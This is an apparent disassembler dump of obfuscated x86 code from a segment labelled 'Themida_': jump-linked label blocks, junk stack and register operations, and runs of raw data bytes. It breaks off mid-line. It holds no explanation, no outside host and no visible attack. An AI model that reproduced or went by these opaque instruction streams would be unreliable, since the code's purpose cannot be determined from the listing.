5F5F5EFFh, 2B47E9h, 24248900h, 4BF57h, 7C010000h dd 0E95F0424h, 0FFFF01E9h ; --------------------------------------------------------------------------- loc_5113F0: ; CODE XREF: Themida_:00511B0Fj mov ecx, esp add ecx, 4 sub esp, 4 mov [esp], ebx mov ebx, 4 add ecx, ebx jmp loc_50A9FE ; --------------------------------------------------------------------------- loc_51140D: ; CODE XREF: Themida_:0050EDA5j pop esp push 4D68h mov [esp], ebp mov ebp, 4BC02483h push eax jmp loc_5013E4 ; --------------------------------------------------------------------------- loc_511421: ; CODE XREF: Themida_:0050A9F1j add esp, 4 pop dword ptr [esp] jmp loc_50CF2A ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24148900h, 5E6AABBAh, 19E9566Ch db 2Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_511443: ; CODE XREF: Themida_:0050D839j push edx mov edx, 4 add ebp, 5CE92EA7h jmp loc_503CFA ; --------------------------------------------------------------------------- loc_511454: ; CODE XREF: Themida_:00509F84j shr edx, 1 cmp eax, edx jmp loc_50B137 ; --------------------------------------------------------------------------- db 68h, 0AEh, 2 dd 3C8B0067h, 4C48324h, 3630E9h, 4BF00h, 0FD010000h, 0FFA369E9h db 0FFh ; --------------------------------------------------------------------------- loc_511479: ; CODE XREF: Themida_:00506EE3j xor [esp], edx xor edx, [esp] pop esp mov [esp], ax jmp loc_50EF95 ; --------------------------------------------------------------------------- db 1, 0F5h, 50h dd 8A1426B8h, 58C5016Dh, 8324348Bh, 555604C4h, 0C93A4ABDh dd 0C5B8BE7Fh, 0EE818036h, 6E6C2139h, 190BC681h, 0EE0132BEh dd 190BEE81h, 0C68132BEh, 6E6C2139h, 286EE9h db 0 ; --------------------------------------------------------------------------- loc_5114C5: ; CODE XREF: Themida_:005065D9j pop ebx add ebp, 4 xchg ebp, [esp] pop esp push ecx mov ecx, esp jmp loc_505483 ; --------------------------------------------------------------------------- loc_5114D5: ; CODE XREF: Themida_:00501CE9j push 6C0Eh jmp loc_505F81 ; --------------------------------------------------------------------------- db 0B1h dd 66EA2C8Dh, 0EC815352h, 4, 0B5240C89h, 77A6E92Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5114F6: ; CODE XREF: Themida_:00501307j push ecx jmp loc_50C482 ; --------------------------------------------------------------------------- loc_5114FC: ; CODE XREF: Themida_:0050B92Bj pop dword ptr [esp] mov esp, [esp] mul ecx push ebx push esp push dword ptr [esp] pop ebx jmp loc_501CEE ; --------------------------------------------------------------------------- loc_51150F: ; CODE XREF: Themida_:0051283Ej pop eax jmp loc_50B91F ; --------------------------------------------------------------------------- loc_511515: ; CODE XREF: Themida_:0050E0B4j add ecx, edi jmp loc_511951 ; --------------------------------------------------------------------------- dd 5C47B951h, 0F1812182h, 21825C43h, 0FF9FCEE9h db 0FFh ; --------------------------------------------------------------------------- loc_51152D: ; CODE XREF: Themida_:00500EA5j not ebp and ebp, 34972EF7h sub ebp, 86D2EACEh add ecx, ebp jmp loc_5094E8 ; --------------------------------------------------------------------------- dw 0EB01h dd 25C3815Dh, 12F1464h, 9A18E9C3h, 3489FFFFh, 2AE3E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51155A: ; CODE XREF: Themida_:005122F1j add ebp, eax pop eax sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx jmp loc_506664 ; --------------------------------------------------------------------------- loc_51156F: ; CODE XREF: Themida_:00509004j sub edi, ebp pop ebp add ecx, edi jmp loc_50EAA9 ; --------------------------------------------------------------------------- loc_511579: ; CODE XREF: Themida_:0050A094j mov esi, [esp] add esp, 4 xor esi, 0BB15E7Ch sub esi, 77D345ACh push ebx jmp loc_5142B4 ; --------------------------------------------------------------------------- db 5Fh, 0E9h, 9 dd 81FFFFD5h, 0A5220BCFh, 0D7EF8159h, 810F2D23h, 447C44F7h dd 0F7EF8123h, 539F1E51h, 9157A2BBh, 22CB8130h, 4B45DB2Ah dd 1419F381h, 0DF011D1Fh, 2E7C15Bh, 1C73BE56h, 0EEC10E4Dh dd 0ACF68107h, 0F772A84Bh, 0C6DBE9DEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5115DE: ; CODE XREF: Themida_:00510BE8j xor ebx, edi jmp loc_5148B3 ; --------------------------------------------------------------------------- loc_5115E5: ; CODE XREF: Themida_:0050CF5Aj mov [esp], edi mov edi, 43D339BCh add ecx, edi pop edi sub ecx, 48594C59h sub ebp, ecx mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xchg ebp, [esp] pop esp jmp loc_513493 ; --------------------------------------------------------------------------- aRsR3Se db 'RS[r3',1Bh,'^',27h,'$!',0 align 4 dd 6BC38166h, 0CB81664Bh, 0CEE973D4h, 54FFFFE7h, 0FEF5C7E9h dd 515D54FFh, 0FFE64DE9h, 240C8BFFh, 4C481h, 0F1810000h dd 2A5F0FFFh, 0FEF745E9h db 0FFh ; --------------------------------------------------------------------------- loc_511659: ; CODE XREF: Themida_:00503B41j pop edx add eax, 148F49EAh add eax, edi sub eax, 148F49EAh pop edi sub esp, 4 mov [esp], ebp sub esp, 4 mov [esp], ebx push edi push eax push 396FE4h pop eax push eax not dword ptr [esp] jmp loc_511E66 ; --------------------------------------------------------------------------- db 58h dd 0FF8DF7E9h db 0FFh ; --------------------------------------------------------------------------- loc_51168D: ; CODE XREF: Themida_:005138F0j mov esi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_505CDB ; --------------------------------------------------------------------------- db 66h, 50h, 0B4h dd 9516E929h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5116AA: ; CODE XREF: Themida_:0050C70Fj pop edi shr ebx, 7 jmp loc_50C276 ; --------------------------------------------------------------------------- loc_5116B3: ; CODE XREF: Themida_:00513575j push ebx push ebp jmp loc_514CDC ; --------------------------------------------------------------------------- dw 4BBh dd 89000000h, 0C3895BD8h, 0FFC85DE9h, 4C783FFh, 8B243C87h dd 0E9C12424h, 0EC835605h, 24048904h, 726E6BB8h, 58C6893Bh dd 0D6E9DEF7h, 8BFFFEE3h, 0C481240Ch, 4, 8304C483h, 896602ECh dd 78B62414h, 81E68956h, 4C6h, 4EE8100h, 0E9000000h, 0FFFF7A0Fh dd 83240C8Bh, 895604C4h, 4B951E6h, 1000000h, 0C68359CEh dd 24348704h, 191E95Ch, 0FB68FFFFh, 89000066h, 34BE2434h dd 0C14AA93Dh, 0EEC104E6h, 0E9DEF705h, 0FFFFABBDh, 9D1C77FFh dd 24041158h, 0E0BCE99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_51175A: ; CODE XREF: Themida_:00507C93j shl eax, 3 xor eax, 0FAAAC33Ch mov edx, eax pop eax add edi, edx pop edx xchg edi, [esp] pop esp push edx push 5A40h mov [esp], esp add dword ptr [esp], 4 jmp loc_50B618 ; --------------------------------------------------------------------------- db 81h, 0C3h, 0F2h dd 1A07165h, 0BA3EE9DEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51178E: ; CODE XREF: Themida_:0050EC02j add edx, edi pop edi add edx, edi sub edx, 216943C2h pop edi jmp loc_5067DC ; --------------------------------------------------------------------------- loc_51179F: ; CODE XREF: Themida_:00510FEBj mov edi, 41892DF5h jmp loc_513EB4 ; --------------------------------------------------------------------------- db 51h, 0B9h, 7Dh dd 0C16BB35Eh, 0E1C108E1h, 0ED0FE908h, 7BBAFFFFh, 0E92BAA40h dd 14EEh ; --------------------------------------------------------------------------- loc_5117C4: ; CODE XREF: Themida_:0050B487j not esi xor esi, 856F8986h mov edi, esi pop esi dec edi add edi, 8C8FD9DFh jmp loc_514DF4 ; --------------------------------------------------------------------------- loc_5117DB: ; CODE XREF: Themida_:00514309j push ecx jmp loc_50D69A ; --------------------------------------------------------------------------- loc_5117E1: ; CODE XREF: Themida_:0050B46Bj sub esp, 4 mov [esp], ecx not dword ptr [esp] pop ecx xor [esp], ecx xor ecx, [esp] xor [esp], ecx mov edi, [esp] add esp, 4 xor [esp], edi jmp loc_4FFEEF ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 5024248Bh, 55A7B951h, 27E91FCDh db 87h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_511817: ; CODE XREF: Themida_:0050F9F9j push edx push esi sub esp, 4 mov [esp], eax mov eax, 91750D1h mov esi, eax pop eax push ebx jmp loc_510320 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 4BAh, 4CEF8100h, 162A672h, 0E722E9D7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_511842: ; CODE XREF: Themida_:005037D8j pop edi pop eax add edi, 29A42A20h add edi, ecx sub edi, 29A42A20h jmp loc_508B7B ; --------------------------------------------------------------------------- loc_511857: ; CODE XREF: Themida_:00501C8Aj sub ebx, 1A4B03B2h add ebx, edx add ebx, 1A4B03B2h mov edx, [esp] jmp loc_50858B ; --------------------------------------------------------------------------- db 68h, 25h, 66h dd 25586E95h, 35993AD1h, 650C602Dh, 6320054Bh, 42E9013Bh dd 87FFFF16h, 248B2414h, 0FA7FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_511892: ; CODE XREF: Themida_:0050894Bj push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_50E0A2 ; --------------------------------------------------------------------------- loc_5118A9: ; CODE XREF: Themida_:0050ACAEj pop edi push edx mov edx, esp sub esp, 4 mov [esp], esi mov esi, 42340962h add esi, 0BDCBF6A2h jmp loc_50AF3E ; --------------------------------------------------------------------------- db 68h dd 2B51h, 0B9240C89h, 0A8878658h, 0CBE9CE31h, 81000006h dd 8E4EEDCEh, 0A36E958h, 0F2800000h, 8676E929h, 0BE56FFFFh dd 775340Fh, 0E904EEC1h, 0FFFF836Eh, 9F58FCB8h, 0AA1FE923h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_511902: ; CODE XREF: Themida_:00508E16j sub eax, ebp sub eax, 77C336CEh jmp loc_50A80A ; --------------------------------------------------------------------------- dw 34FFh dd 0C4815824h, 4, 0E01AE955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51191E: ; CODE XREF: Themida_:0050E001j add edx, 29EA1A82h jmp loc_4FF816 ; --------------------------------------------------------------------------- db 83h, 0C5h, 4 dd 9D29E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_511932: ; CODE XREF: Themida_:00506B30j pop edi jmp loc_50813A ; --------------------------------------------------------------------------- loc_511938: ; CODE XREF: Themida_:005038C2j mov esi, [esp] jmp loc_50918A ; --------------------------------------------------------------------------- dd 0E9028864h, 0FFFEDECEh, 0D6F7F787h, 0FFBBAEE9h db 0FFh ; --------------------------------------------------------------------------- loc_511951: ; CODE XREF: Themida_:00511517j pop edi add ecx, 631224E1h mov ebp, [esp] push edx push esp pop edx jmp loc_513414 ; --------------------------------------------------------------------------- loc_511963: ; CODE XREF: Themida_:0050560Aj xor esi, 1D930F6Eh push ebx jmp loc_507EC1 ; --------------------------------------------------------------------------- loc_51196F: ; CODE XREF: Themida_:00509C13j push dword ptr [esp] pop ebx add esp, 4 jmp loc_5050FC ; --------------------------------------------------------------------------- db 5Ah dd 5B1AC281h, 0C8B6F64h, 4C48324h, 0FEDF12E9h, 7EBD55FFh dd 312A2912h, 0C3895DE8h, 5BD80158h, 3304C083h, 0DAE92404h db 28h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5119A7: ; CODE XREF: Themida_:00507E29j mov edi, 7F8700DBh jmp loc_50B518 ; --------------------------------------------------------------------------- db 30h, 0FAh, 5Bh dd 0DCE9EA00h db 85h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5119BB: ; CODE XREF: Themida_:0050F49Cj pop ebp push ecx mov ecx, 20E2315Eh jmp loc_50F6B3 ; --------------------------------------------------------------------------- loc_5119C7: ; CODE XREF: Themida_:0050EB5Ej add esp, 4 neg ebp shr ebp, 1 jmp loc_513098 ; --------------------------------------------------------------------------- dw 0BA52h dd 71623507h, 315AD389h, 69255BD8h, 0E969BE08h, 0FFFFBA03h ; --------------------------------------------------------------------------- loc_5119EC: ; CODE XREF: Themida_:00511CA9j add edx, 0BB3CE42Eh mov esi, edx mov edx, [esp] jmp loc_5017FF ; --------------------------------------------------------------------------- loc_5119FC: ; CODE XREF: Themida_:005048C1j push edx xor dword ptr [esp], 57D26B9Fh mov esi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp xor esi, 57D26B9Fh pop edx or esi, 3F1376CFh sub esp, 4 jmp loc_50418C ; --------------------------------------------------------------------------- loc_511A32: ; CODE XREF: Themida_:00510049j add esp, 4 jmp loc_5025D4 ; --------------------------------------------------------------------------- db 4Bh, 0F7h, 0DBh dd 0EAEEF381h, 0D901FFF8h, 52241C8Bh, 0FFDBB5E9h, 240C8BFFh dd 8304C483h, 143304C2h, 24143124h, 8B241433h, 5C682424h dd 89000068h, 0A3E92404h, 1FFFEDDh, 1C8758C3h, 0E9595C24h dd 0FFFEDD96h ; --------------------------------------------------------------------------- loc_511A80: ; CODE XREF: Themida_:0051082Cj sub dl, cl add dl, 2Dh mov ecx, [esp] add esp, 4 add bl, dl pop edx add bl, 87h sub bl, 7 add al, 48h jmp loc_50DC60 ; --------------------------------------------------------------------------- loc_511A9E: ; CODE XREF: Themida_:00512208j push ebp xor dword ptr [esp], 5A28529Fh jmp loc_50CA69 ; --------------------------------------------------------------------------- db 2Dh dd 0A5C580Bh, 6425BD55h, 0BB532859h, 1C027AD7h, 76BFEB81h dd 1E9F8C6h db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_511AC7: ; CODE XREF: Themida_:0050393Aj mov [esp], esp push edx mov edx, 4 add [esp+4], edx pop edx pop ecx add ecx, 4 push edi mov edi, 4 jmp loc_50A286 ; --------------------------------------------------------------------------- db 29h dd 5AD189CAh, 26FAE981h, 0B8500439h, 399E3200h, 0F740D0F7h dd 6F1E9D0h, 5A66FFFFh, 7E5F68h, 87EDE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_511B0E: ; CODE XREF: Themida_:00502415j push ecx jmp loc_5113F0 ; --------------------------------------------------------------------------- loc_511B14: ; CODE XREF: Themida_:00501B6Cj mov eax, esp jmp loc_512E20 ; --------------------------------------------------------------------------- aZhJ db 'Zh>J',0 dd 24148900h, 766EABBAh, 0E9D10119h, 0FFFF5AF9h ; --------------------------------------------------------------------------- loc_511B30: ; CODE XREF: Themida_:0050973Cj pop dword ptr [esp] push ebx mov ebx, 4 add dword ptr [esp+4], 4FFE21B9h add [esp+4], ebx sub dword ptr [esp+4], 4FFE21B9h push dword ptr [esp] pop ebx add esp, 4 pop edx add edx, 4 jmp loc_506F53 ; --------------------------------------------------------------------------- loc_511B60: ; CODE XREF: Themida_:0050E539j add edx, 4 xchg edx, [esp] jmp loc_513D4A ; --------------------------------------------------------------------------- loc_511B6E: ; CODE XREF: Themida_:0050C3FBj jmp loc_4FF816 ; --------------------------------------------------------------------------- db 53h dd 516666B7h, 0CF084AB1h, 0F7805966h, 0DD5CE9DBh, 0B951FFFFh dd 9DD3380h, 0E44A23BFh, 59CF2971h, 53E9FA89h, 81FFFF82h dd 4C5h, 4685700h, 5F000000h, 335FFD01h, 0E4E9242Ch, 89FFFEF5h dd 6ABA2414h, 3102A64Ch, 0D3E95AD3h, 0BA000019h, 13837F1Eh dd 0FFAE4EE9h, 4BE56FFh, 1000000h, 93E95EF2h db 59h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_511BDB: ; CODE XREF: Themida_:0050D589j pop esp jmp loc_50002D ; --------------------------------------------------------------------------- db 5Ah, 28h, 0C3h dd 8108EB80h, 4ECh, 24148900h, 69B25251h, 0E9FFC280h, 0FFFF8D06h ; --------------------------------------------------------------------------- loc_511BFC: ; CODE XREF: Themida_:00501DE3j pop ebp shl ecx, 1 and ecx, 467119E2h shr ecx, 8 add ecx, 1 neg ecx push 3B6h mov [esp], esi jmp loc_508028 ; --------------------------------------------------------------------------- dw 0C683h dd 0F0F0E904h, 5158FFFFh, 0FEFE66E9h, 5B6852FFh, 5A43F626h dd 0CA81DAF7h, 2B135207h, 68C8EA81h, 0D089911Fh, 7AFBE95Ah dd 0ED80FFFFh, 0BFED8001h, 0E904EDC0h, 2BA6h ; --------------------------------------------------------------------------- loc_511C54: ; CODE XREF: Themida_:00500FFCj add bl, ah pop eax movzx eax, al jmp loc_507FA1 ; --------------------------------------------------------------------------- db 51h dd 2B9h, 5FC70500h, 0C8014F69h, 695FC72Dh, 487594Fh, 4CE95C24h dd 81FFFF0Fh, 53DBCAC5h, 0C5C181CEh, 130240Eh, 438CE9E9h dd 0D668FFFFh, 8B44C31Bh db 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5119EC ; --------------------------------------------------------------------------- dw 0EB00h dd 240C8B66h, 2C481h, 52660000h, 8904EC83h, 9BE9240Ch dd 8FFFFF50h, 0BF572404h, 62CD570Ch, 709CC781h, 0C7817062h dd 551F449Fh, 0FFF0DBE9h, 11C180FFh, 5F9C6866h, 24148966h dd 0F13039B6h, 24148B66h, 81E28952h, 4C2h, 0B201E900h dd 1D2DFFFFh, 5A5F687Fh, 11E9C201h, 8BFFFF1Bh, 0C483241Ch dd 24048F04h, 0FF24248Bh db 34h, 24h, 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 2350h jmp loc_507C56 ; --------------------------------------------------------------------------- dd 2884045Ah, 2C842CD8h, 772FE95Dh, 6664FFFFh, 0D3E90289h dd 5CFFFEDAh, 0F7664D66h, 0ED8166D5h, 55660001h, 2414F766h dd 0FF5B0CE9h, 5DEE89FFh, 348BF389h, 2CE95524h db 0DEh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_511D67: ; CODE XREF: Themida_:0050C1FFj or bh, 59h xor bh, 0C7h push ecx mov cl, bh jmp loc_5023C8 ; --------------------------------------------------------------------------- loc_511D75: ; CODE XREF: Themida_:00505447j add esi, ecx jmp loc_5129EF ; --------------------------------------------------------------------------- dd 1C477A25h, 6762D34h, 6CE9340Ch, 81FFFFCCh, 0B3FF93EBh dd 1BECE9F3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_511D96: ; CODE XREF: Themida_:00505A36j sub dword ptr [esp+4], 2A715CC7h push edx mov edx, 56802007h jmp loc_511FC4 ; --------------------------------------------------------------------------- db 53h, 51h, 52h dd 117C68BAh, 5AD18916h, 5159CB89h, 1F49BEB9h, 59C80115h dd 0BD55D801h, 151F49BEh, 5B5DE829h, 8B2434FFh, 0D168241Ch dd 8900003Fh, 5954240Ch, 0FF72ECE9h, 0B3C681FFh, 17DD935h dd 98685EF5h, 89000024h, 0BE56241Ch, 29E73125h, 67DD6852h dd 0EFE97829h, 81FFFF63h, 4ECh, 241C8900h, 0FF4480E9h db 0FFh ; --------------------------------------------------------------------------- loc_511E11: ; CODE XREF: Themida_:005023B9j sub edx, 4 xchg edx, [esp] jmp loc_514741 ; --------------------------------------------------------------------------- db 88h dd 1E958E5h db 54h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_511E27: ; CODE XREF: Themida_:00500C43j xchg eax, [esp] jmp loc_50437C ; --------------------------------------------------------------------------- loc_511E2F: ; CODE XREF: Themida_:00504859j add edi, 4 xchg edi, [esp] pop esp push ax push ecx sub esp, 4 jmp loc_50FBA1 ; --------------------------------------------------------------------------- loc_511E44: ; CODE XREF: Themida_:0050DB90j push edx mov edx, 4 add ecx, edx pop edx push ecx push dword ptr [esp+4] mov ecx, [esp] jmp loc_50F7D7 ; --------------------------------------------------------------------------- loc_511E5A: ; CODE XREF: Themida_:0050809Bj sub esp, 4 mov [esp], ebx push esi jmp loc_5024B4 ; --------------------------------------------------------------------------- loc_511E66: ; CODE XREF: Themida_:00511682j pop eax inc eax sub eax, 0D5958D4Dh mov edi, eax pop eax jmp loc_50D779 ; --------------------------------------------------------------------------- db 81h, 0C2h, 0D9h dd 8B4BA956h db 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_514817 ; --------------------------------------------------------------------------- loc_511E86: ; CODE XREF: Themida_:00509730j pop ebx sub cl, 0A7h sub cl, bl add cl, 0A7h jmp loc_504849 ; --------------------------------------------------------------------------- loc_511E94: ; CODE XREF: Themida_:00502A7Bj shr eax, 0Ch xor eax, ecx push 4921h mov [esp], eax xor [esp], esi xor esi, [esp] xor [esp], esi push esi xchg ebp, [esp] not ebp xchg ebp, [esp] mov esi, [esp] add esp, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] push dword ptr [esp] pop eax sub esp, 4 mov [esp], eax sub esp, 4 mov [esp], esp jmp loc_50709D ; --------------------------------------------------------------------------- dd 5250DDF6h, 0D4885CB2h, 0BC4805Ah, 5FB353h, 0ED805BDCh dd 80E500D6h, 2C58D6C5h, 0E32C47h, 0E3B551E8h, 0C8BE800h dd 4C48124h, 0E9000000h, 2BF3h ; --------------------------------------------------------------------------- loc_511F14: ; CODE XREF: Themida_:0050E7DDj xor edx, 6D8831CFh add ebp, edx pop edx push ecx mov ecx, 4 add ebp, ecx pop ecx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp push ebx mov bl, 8Dh shl bl, 7 or bl, 4Ah neg bl xor bl, 0E4h sub al, bl pop ebx add al, bl push ecx mov ch, 0A4h add ch, 44h sub ch, 16h jmp loc_50AB15 ; --------------------------------------------------------------------------- loc_511F51: ; CODE XREF: Themida_:00507C6Aj push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_4FF930 ; --------------------------------------------------------------------------- dw 0C33h dd 240C3124h, 5C240C33h, 89240489h, 0B6768E0h, 1C890000h dd 0F6B85024h, 0E96EDF18h, 1D1Ch, 0FED88DE9h, 241C8BFFh dd 0FFA352E9h db 0FFh ; --------------------------------------------------------------------------- loc_511F91: ; CODE XREF: Themida_:00510F19j add ebp, 4 jmp loc_50516D ; --------------------------------------------------------------------------- dd 0E9FAE957h, 6859FFFFh, 2719h, 68243489h, 3BEEh, 52241C89h dd 0EE4A2FBAh, 1BC28168h, 0E9D4D907h, 0FFFF0E18h ; --------------------------------------------------------------------------- loc_511FC4: ; CODE XREF: Themida_:00511DA4j sub [esp+8], edx pop edx mov ebp, [esp] add esp, 4 pop eax push edi push 15E90ACCh pop edi push ebx mov ebx, 65C046B5h and edi, ebx mov ebx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 push edi push dword ptr [esp+4] jmp loc_512FBD ; --------------------------------------------------------------------------- db 81h dd 4C1h, 4C18100h, 51000000h, 42474FFh, 24048F59h, 0E9E9315Ch dd 0FFFEEB47h ; --------------------------------------------------------------------------- loc_512018: ; CODE XREF: Themida_:0050D303j mov esp, [esp] and eax, ecx mov ecx, [esp] jmp loc_508EDE ; --------------------------------------------------------------------------- db 31h, 0C1h, 0E9h dd 0FFFFCAC7h, 151685Ch, 1C890000h, 14685024h, 8B1EE134h dd 73E92404h, 0FFFF24h, 11EB80D3h, 5D2A685Ah, 4890000h dd 0E970B024h, 0FFFFF2B1h, 0FF2434FFh, 34FF2434h, 0C4815924h dd 4, 0FF53D9E9h db 0FFh ; --------------------------------------------------------------------------- loc_51206D: ; CODE XREF: Themida_:00510FF1j add ecx, 18273D93h dec ecx xor ecx, 508F6D59h sub ecx, 0FFFFFFFFh not ecx push eax mov eax, 3353F067h sub ecx, eax pop eax mov edi, ecx mov ecx, [esp] jmp loc_504B03 ; --------------------------------------------------------------------------- loc_512092: ; CODE XREF: Themida_:00506389j pop esi xor ecx, ebx jmp loc_50DFF5 ; --------------------------------------------------------------------------- dw 0E189h dd 0FFE746E9h, 5FFD01FFh, 0A31AC581h, 0C28152E1h, 1C9861B0h dd 0EA81EA01h, 1C9861B0h, 83242C8Bh, 0EA8104C4h, 4, 8B241487h dd 4892424h, 5585424h, 4, 3302C083h, 4312404h, 58E0E924h dd 0BB53FFFFh, 113D404Bh, 4B02EBC1h, 2790CB81h, 0D3F70EC4h dd 7792C381h, 0CB290ECFh, 0E95BD987h, 0FFFF0765h, 1CC16866h dd 242C8966h, 2474FF66h, 2C8B6602h, 56016824h, 1C890000h dd 51E38924h, 4B9h, 0E9CB0100h, 0FFFF16C3h, 1388BF57h dd 0F78112DDh, 2C5C7FE9h, 2A91BD55h, 0A9683446h, 0E9000019h dd 0FFFF3B0Eh ; --------------------------------------------------------------------------- loc_512148: ; CODE XREF: Themida_:00513277j sub ebx, 15176107h add ebx, 0F272AE8h pop ecx xor eax, ebx mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], edi push esi mov esi, 4CB3773Eh jmp loc_5064A5 ; --------------------------------------------------------------------------- dw 2C8Bh dd 4C48324h, 8B24048Fh, 8B662424h, 0BFE92414h, 0FFFFFFD0h dd 5B042474h, 8B24048Fh, 0BE92424h, 0AD000003h, 0FF8791E9h db 0FFh ; --------------------------------------------------------------------------- loc_512199: ; CODE XREF: Themida_:0050A4FAj push edi mov edi, 4 jmp loc_50CB06 ; --------------------------------------------------------------------------- dd 0DA89525Ah, 5B5AD189h, 5738EB81h, 0CB01325Eh, 5738BE56h dd 0C381325Eh, 5075105Ah, 0E955F301h, 8B8h ; --------------------------------------------------------------------------- loc_5121C8: ; CODE XREF: Themida_:005032C7j push ecx jmp loc_5057F1 ; --------------------------------------------------------------------------- dw 595Bh dd 80C6FE5Bh, 0B450FFEEh, 53C4FE0Fh, 0E3C0F5B3h, 80C3FE04h dd 0F3801CF3h, 0E9D6E94Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5121EE: ; CODE XREF: Themida_:0050B5E6j push 1987h jmp loc_502D2B ; --------------------------------------------------------------------------- loc_5121F8: ; CODE XREF: Themida_:0050FA29j mov [esp], ebx mov bh, 16h jmp loc_5080FB ; --------------------------------------------------------------------------- loc_512202: ; CODE XREF: Themida_:0050A2F6j mov esp, [esp] mov ebp, esi pop esi jmp loc_511A9E ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 24148B04h, 81E78957h, 4C7h, 4B95100h, 1000000h, 3C3359CFh dd 0B633E924h, 8B66FFFFh, 0EC832404h, 24348904h, 0FFAAC5E9h dd 240CD2FFh, 0D5D0E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_512246: ; CODE XREF: Themida_:00510961j push dword ptr [esp] pop edx jmp loc_5126C5 ; --------------------------------------------------------------------------- db 52h dd 9A413EBAh, 2454017Ch, 0E95E5A04h, 0FFFF6716h ; --------------------------------------------------------------------------- loc_512260: ; CODE XREF: Themida_:0050F6FDj add esp, 4 push eax jmp loc_5131DD ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 57000000h, 0C781E789h, 4, 4C781h, 0FF570000h, 5F042474h dd 8B24048Fh, 54552424h, 644F685Dh, 4890000h, 92BB5324h dd 0B8096D37h, 2C5801C5h, 535BD831h, 7624B951h, 5649422Fh dd 0FFDA42E9h db 0FFh ; --------------------------------------------------------------------------- loc_5122B1: ; CODE XREF: Themida_:0050E10Bj pop esp push edx mov edx, esp push eax jmp loc_506D4F ; --------------------------------------------------------------------------- loc_5122BB: ; CODE XREF: Themida_:005042E1j pop esp xor esi, 4C202D32h mov ebp, [esp] push ecx jmp loc_50784F ; --------------------------------------------------------------------------- db 0F7h dd 56FFE9D1h, 0BD55FFFFh, 2, 2C8BEE89h, 4C48324h, 2505C32Dh dd 55F0010Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax mov eax, 4 jmp loc_51155A ; --------------------------------------------------------------------------- dw 6866h dd 68660FA9h, 896660ABh, 0EC832424h, 4896602h, 2686624h dd 66586600h, 0E90BC068h, 0FFFF0D4Dh, 8104E6C1h, 7D8FD4F6h dd 8BF301C6h, 63E92434h, 0BFFFFF79h, 186146A2h, 0FA7F781h dd 66E9045Ch db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51233B: ; CODE XREF: Themida_:0050BBD5j sub esp, 4 mov [esp], ebp push 718h jmp loc_50BA94 ; --------------------------------------------------------------------------- dw 3548h dd 41638DCCh, 8158C131h, 0EC6D8C1h, 59CA0124h, 64B5BF57h dd 0F9011A23h, 57D1295Fh, 0FF2B3FE9h, 24048FFFh, 0E924248Bh dd 0FFFFCAEFh, 4240483h, 81242C8Bh, 4C4h, 4EC8100h, 0E9000000h dd 0FFFFC902h, 0F681DEF7h, 0B8DE5710h, 348BF289h, 4C48124h dd 0C1000000h, 0D2F707EAh, 1494E9h, 68595400h, 0D35h, 55241489h dd 0EF55BD68h, 0C14D5D45h, 0E58108EDh, 27A20EF4h, 0E50F581h dd 81550000h, 1C0E2404h, 815A31E6h, 0E61C0EEAh, 1C3AE931h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5123E6: ; CODE XREF: Themida_:0051109Bj push ebx mov ebx, 602D5AA3h mov edi, 6F0E1CA8h jmp loc_509A0B ; --------------------------------------------------------------------------- dw 8D35h dd 892AE473h, 0BD5558C1h, 2EE959E6h, 2C8BE901h, 4C48324h dd 0E906E9C1h, 0FFFF529Fh, 4DB5F181h, 0F18139E9h, 0C5C6E6BBh dd 0FFC301E9h, 243C89FFh, 2A5AE954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51242E: ; CODE XREF: Themida_:005067D7j add esp, 4 push ebx sub esp, 4 jmp loc_50F3CD ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 582434FFh, 81E28952h, 4C2h, 44D5E900h, 8166FFFFh, 66389DCEh dd 39C7E681h, 66DEF766h, 65A2C681h, 5EF38966h, 0E9D3F766h dd 0FFFFCCC3h ; --------------------------------------------------------------------------- loc_512470: ; CODE 